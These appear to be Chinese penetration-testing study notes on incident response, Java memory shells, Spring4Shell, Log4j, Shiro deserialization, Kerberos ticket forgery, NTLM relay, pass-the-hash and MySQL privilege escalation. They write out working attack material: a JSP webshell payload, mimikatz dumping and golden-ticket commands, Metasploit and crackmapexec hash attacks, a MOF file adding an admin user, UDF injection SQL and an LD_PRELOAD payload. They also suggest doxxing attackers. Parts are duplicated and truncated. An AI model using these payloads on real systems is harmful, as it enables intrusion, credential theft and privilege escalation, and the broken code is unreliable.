应急响应:
收集信息:收集客户信息和中毒主机信息,包括样本。找到webshell文件,拿到流量日志,第一时间进行可疑ip封堵,关闭可疑连接
判断类型:事件分析,事件造成了哪些影响大概等等。
深入分析:日志分析、进程分析、启动项分析、样本分析,进行详细分析。
清理处置:直接杀掉进程,删除文件,打补丁,查杀定时任务抑或是修复文件。
产出报告:溯源报告整理并输出完整的安全事件报告。
溯源反打:
获取到VPS IP 可以尝试进行反向渗透,whois查询,如果有博客可以尝试社工加好友
获取到用户ID昵称,可以通过论坛,社交平台,搜索引擎进行匹配搜索
基于JSONP跨域,webrtc 获取攻击者的主机信息、浏览器信息、真实 IP及社交信息
等,后进行人肉
蜜罐溯源:mysql蜜罐读取用户的社交账号信息
sqlmap构造恶意
xss反打:构造虚假返回
JAVA内存马:
filtter
servlet
Listern
注入方式:
通过反射或者别的方式获取到ApplicationContext/servletContext/StandardContext类的方法动态加载恶意类 注入filter , standardContext.addFilterMapBefore(o1);//添加一个filtermap到standardContext中,路由匹配规则
filterConfigs.put(FilterName,filterConfig);//把恶意配置加载进配置
servelt需要把standardCtx.addServletMapping("/shell","jweny");//添加ServletMapping将访问的URL和Servlet进行绑定
Java-Agent
Shiro的反序列化是在请求头的Header中的,而注入内存马时用到的payload长度超过了Header的最大长度,需要先通过反序列化修改Header的最大长度再注入内存马。
sql无回显:延时注入banchmark(进行大量运算),sleep(),load_file函数可用。
防御sql:
开启预编译执行SQL的时候,则不会这么处理。会当成一个属性值。什么意思。随便你怎么加,都是一个值。也就是说,如果中间有产生歧义的,都将被处理掉
绕过sqlwaf:参数污染,协议文件格式,大小写,替换关键字,编码,内联注释,等价函数,缓冲区溢出,边界绕过云waf,利用ssrf
不论我们传入的参数是什么都会被赋值给 "?" 被当作一个字符串整体,所以不会产生歧义防止了sql注入
String sql = “insert into t_customer values(?,?,?,?)
EXP:类似爬虫,发送payload,看漏洞返回特征进行检验知否成功
shiro721和550的区别:721的加密方式有缺陷可以被爆破出密钥,其他漏洞利用方式和550一致
最新的漏洞:
spring-cloud-function:
漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。
漏洞是出在SpringCloud Function的RoutingFunction的route方法里,在这⾥判断了请求headers头中有没有spring.cloud.function.routing-expression参数SpringCloud Function会直接将其参数内容直接带入到SPEL中查询,造成SPEL漏洞注入。
可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。
调用链:processRequest方法,程序会判断当前请求是否为RoutingFunction,并将我们提交的请求头和请求体内容编译成Message并且传入FunctionInvocationWrapper的apply方法中->apply方法发现该方法又将参数信息传入doApply方法->routingFunction()下的apply方法->.RoutingFunction的route方法,route方法会判断请求头中有没有spring.cloud.function.routing-expression参数->因为我们有该参数,所以程序进入到this.functionFromExpression()方法->最终由SpelExpressionParser来解析,导致Spel表达式注入。
spring-core
调用链:
springmvc的getPropertyAccessorForPropertyPath(String) 方法通过递归调用自身实现了对
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
设置参数为:
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
3.1.2 suffix参数 参数名: class.module.classLoader.resources.context.parent.pipeline.first.suffix 参数值:.jsp directory参数 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory 参数值:webapps/ROOT 3.1.4 prefix参数 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix 参数值:tomcatwar 3.1.5 fileDateFormat参数 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat参数值:空
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
得到:
最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//
3.1.6 总结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。
原理:利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”
tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。
log4j:
log4j的lookup方法可以动态的解析用户的输入,攻击者可以通过输入恶意的代码达到rce的目的
log4j引入了一个Jndi Lookup lookup的统一接口,然后JNDI就是对lookup接口的实现,同时log4j会尝试解析日志,这个时候在任意地点构造jndi远程加载恶意类 就会被解析并且执行
shiro550无依赖链:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class CBAttck {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\Cc\IntelliJ IDEA 2021.1\Code\out\production\Code\ClassLoader\Hacker.class"));
byte[][] codes = {code};//恶意类
//CC3
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue
shiro550无依赖链:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class CBAttck {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\Cc\IntelliJ IDEA 2021.1\Code\out\production\Code\ClassLoader\Hacker.class"));
byte[][] codes = {code};//恶意类
//CC3
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue
其他一些中间件漏洞再说
Kerberos 协议
一阶段:
AS-REQ:
客户端向域控发送包含客户端用户名主机名,加密类型,用户ntml哈希加密的时间戳给域控(客户端访问TGS)
AS-REP:
域控收到客户端数据包。通过活动目录查询客户端用户名的ntml哈希值,解密时间戳,看时间戳是不是五分钟之内的(默认)。一定程度防止重放攻击。验证没问题会从KDC取出票据发放用户的ntml哈希用来加密生成一个session key ,还有ntml哈希生成的时间戳,随机数,PAC等数据包PAC里包含用户SID,用户所在组
二阶段:
TGS-REQ:
客户端收到域控的返回,对返回数据进行解密,拿到login session key 和时间戳那些信息。还有TGT认购凭证存到本地。这个时候就可以拿着这些东西去向TGS申请ST票据。就是服务要访问那个服务的权限。(ST服务是通过DC的一个TGS服务出售的,客户需要拿TGT认购凭证去换。客户端需要访问莫格服务就会凭借TGT认购凭证向DC的TGS购买对应的ST票据)
TGS-REP:
域控接收到申请,先看请求的服务存不存在,存在就从KDC取出krbtgt用户的NTML哈希去解密校验用户信息,正确的话为客户端生成一个要访问服务账号的NTML哈希加密的ST服务票据发送给客户端
三阶段:
AP-REQ:
客户端拿到ST 和log session key 解密获取到server session key.。 然后拿着server session key 和ST 去请求服务器
AP-REP:
服务器用自己的ntml哈希解密ST服务,拿到session key校验客户端认证因素
PAC:
服务器拿着客户端用户的SID信息向域控确认信息,判断该用户有没有权限访问,没问题,就直接和客户端建立连接
PTT:(黄金白银票据)
金票和银票之前的区别:
获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
利用前提:
拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
条件要求:
域名
域的SID 值
域的KRBTGT账户NTLM密码哈希
伪造用户名
黄金票据:条件:拿下域管权限
这里我们已经假设获得了域管权限,然后我们利用mimikatz导出krbtgt账号信息:
1、获取域名 whoami net time /domain ipconfig /all 2、获取SID whoami /all 3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值 用mimikatz lsadump::dcsync /domain:zz.com /user:krbtgt /csv 4、伪造管理员用户名 net group "domain admins" (2)伪造TGT 1、清除所有票据 klist purge 2、使用mimikatz伪造指定用户的票据并注入到内存 kerberos::golden /admin:administrator /domain:zz.com /sid:S-1-5-21-1373374443-4003574425-2823219550 /krbtgt:9f3af6256e86408cb31169871fb36e60 /ptt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">loghash.txt
生成黄金票据
mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit 将票据注入内存: kerberos::purge #清除票据 kerberos:: ptt 票据 #将票据注入内存
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。
白银票据:
拿到目标机器hash(是目标机,不一定是域控)
条件要求:
域名
域sid
目标服务器FQDN
可利用的服务
服务账号的NTML HASH
需要伪造的用户名
服务列表
1)信息收集
1、获取域名
whoami
net time /domain
ipconfig /all
2、获取SID
whoami /all
目标机器的FQDN
net time /domain
就是hostname+域名 /target:\WIN-75NA0949GFB.NOONE.com
1
2
4、可利用的服务CIFS(磁盘共享的服务)
/service:CIFS
5、要伪造的用户名
/user:Administrator
1
6、服务账号的ntlm hash(Primary Username : WIN-75NA0949GFB$带$的hash,不是admin的)
imikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
7、利用文件共享服务cifs,获取服务账号得NTMLhash值(在14068基础上使用mimikatz获取)
注意:服务账号就是域控名$
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
(2)伪造ST
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
NTML-relay 原理
NTML HASH:
NTML-relay 原理
NTML HASH:
保存了用户密码的hash.windows用户密码被保存在SAM文件里,域的话在NTDS.dit里面
Net-NTML HASH:
Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。
NTLM认证过程
1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。
攻击原理
NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。
在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。
攻击者所作的事情其实就是进行中间人攻击,客户端眼里攻击者就是服务器,服务器言论攻击者就是客户端。
获得Net-ntlmhash 思路:
SMB,HTTP,LDAP,MSSQL都带NTLM认证.只要用户尝试进行ntlm认证都有可能被攻击者截获net-ntmlhash.
SMN relay (SMB中继攻击)
MYSQLti提权
补充:也可以利用工具自动化提权,msf、sqlmap --os-shell
MSF:
场景:得到数据库账号密码
MSF:
使用exploit/multi/mysql/mysql_udf_payload模块,设定Rhost、password、username就可以该模块dll包含的函数,
景:得到数据库账号密码、且用户可外连 python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell
--OS -shell
--OS -shell
通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
- 知道网站的物理路径
- 高权限数据库用户
- secure_file_priv无限制(load需要参数)
- 网站路径有写入权限
select1into outfile 'C:/UsersDesktop/php/PHPTutorial/WWW/info.php' lines terminated by'aaa';
MOF提权
条件:MOF提权
Mysql的服务没有降权,并且需要获取Mysql root账号密码
使⽤net user命令查看系统当前帐号,如果出现Mysql这类⽤户,则系统可能进⾏了降权
原理:mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
利用过程:
- 将mof上传至任意可读可写目录下,这里我传到D:wamp下命名为:xishaonian.mof。也就是:D:wampxishaonian.mof
- 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
- 替换的sql语句,使用load_file函数进行操作:select load_file('D:wampxishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
- 执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
UDF提权:
原理:
UDF=“user defined function” 用户自定义函数
在mysql根目录创建一个udf.dll文件
将程序引入,然后就达到了命令执行的效果
过程:
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数
SELECt hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\Users\ka1n4t\Desktop\gg.txt';
1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILe 'H:\PHPStudy\PHPTutorial\MySQL\lib\plugin\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
1. DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
导入成功的话就可以使用了:
SELECT sys_eval('ipconfig');
PTH psexecpth
原理:
- 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
- 服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
- 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
- 服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功
- 在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash
问题出在前两部,客户端向服务器发送存储了自己用户名和密码的hash也就是NTLM,这个时候就可以截获得NTML对其他的机器进行碰撞。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议
psexec连接,可以使用先建立ipc,再进行psexec连接,也可以直接使用psexec连接,只不过前者是在IPC连接时,写上密码;后者psexec直接登陆可以使用明文或者hash传递。
use exploit/windows/smb/psexec set SMBUser administrator set rhosts 192.168.1.8 set smbpass aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b exploit 也可以使用 crackmapexec smb 192.168.1.0/24 -u administrator -H 627782b7274e323941c9418399460d5b 批量攻击
mimikatz pth
先进行初始化:
privilege::debug #初始化
1
将hash进行导出:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt #将hash导出到password文档里面
本地登录:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b4a59c7bdab7afee29d42e90e5a185cb
假设我们域内有多台主机的密码是一样的,我们通过前期的信息手机已获得了域用户名,那么我们同样可以使用mimikatz来远程登陆:
sekurlsa::pth /user:administrator /domain:192.168.1.8 /ntlm:b4a59c7bdab7afee29d42e90e5a185cb
DIsable_function绕过:
预加载共享对象
预加载共享对象
在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function
系统通过LD_PRELOAD预先加载对象,如果加载时,就直接进行调用,就不用进行劫持绕过
gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行
__attribute__((__constructor__))
//constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数
以下是 hack.c代码
#include#include __attribute__((constructor))void payload() { unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD");//接收传入的命令 system(cmd);//执行命令 }
以下是php代码
.so函数劫持
找一个可以启动新进程的函数,如mail() 会启动新进程/usr/sbin/sendmail ,写一个恶意代码编译为.so文件,把我们的so文件通过putenv()加载进ld_preload ,当我们调用mail函数的时候就会先加载我们的恶意文件。
#include#include #include void payload() { system("ls"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); } gcc hack.c -o hack.so -shared -fPIC
FFI特性命令执行
原理简介
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步
- Linux 操作系统
- PHP >= 7.4
- 开启了 FFI 扩展且 ffi.enable=true
system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件


